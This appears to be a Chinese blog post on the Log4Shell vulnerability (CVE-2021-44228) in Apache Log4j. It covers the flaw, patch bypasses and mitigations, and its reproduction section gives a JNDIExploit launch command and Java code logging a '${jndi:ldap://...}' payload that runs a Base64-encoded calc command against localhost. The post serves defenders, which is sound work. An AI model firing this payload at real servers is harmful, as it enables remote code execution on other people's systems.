CVE-2021-44228:Apache Log4j RCE

文章前言

本篇文章我们主要介绍关于CVE-2021-44228:Apache Log4j RCE漏洞的自检与修复,帮助甲方人员尽快修复项目中存在的不安全依赖

漏洞概述

Apache Log4j2是⼀个基于Java的⽇志记录⼯具,该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性,该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息,⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。该漏洞利⽤⽆需特殊配置,经阿⾥云安全团队验证Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,此次漏洞触发条件为只要外部⽤户输⼊的数据会被⽇志记录,即可造成远程代码执⾏。

漏洞复现

Step 1:pom.xml中增加以下依赖:

    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.14.1</version>
    </dependency>

 Step 2:之后使用JNDIExploit启动JNDI并注入Server

java -jar JNDIExploit.jar -i 127.0.0.1

Step 3:构造以下利用代码

package org.log4js;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jAttack {
    private static final Logger logger = LogManager.getLogger(Log4jAttack.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kLmV4ZSAvYyBjYWxjLmV4ZQ==}");
    }
}

 Step 4:执行程序

补丁分析

Log4j-2.15.0-rc1

Log4j-2.15-rc1默认关闭lookup功能,且增加了白名单校验

Log4j-2.15.0-rc2

Log4j-2.15-rc1的修复版本中在异常发生时未进行return,之后会直接this.context.lookup,从而再次导致RCE

 Log4j-2.15.0-rc2的修复方案是直接return,有效解决了上文的绕过

try{
    ....
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);

Apache Log4j 2.15.0

据悉Apache Log4j 2.15.0存在信息泄露漏洞,可用于从受影响的服务器下载数据

漏洞自检

检测项目是否使用不安全的log4j-core依赖项,下面是一些扩展的受影响的依赖:

GitHub - LoRexxar/log_dependency_checklist: Dependencies with Log4j2 Checklist

甲方修复

1、建议尽快升级到 2.16.0版本

2、禁止使用log4j服务器外连,升级JDK到11.0.1 8u191 7u201 6u1版本之后

3、紧急缓解措施:

(1) 修改JVM参数:-Dlog4j2.formatMsgNolookups=true

(2) 修改配置log4j2.formatMsgNolookups=True

(3) 将系统环境变量FORMAT_MESSAGES_PATTERN_IDSABLE_LOOKUPS设置未true

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值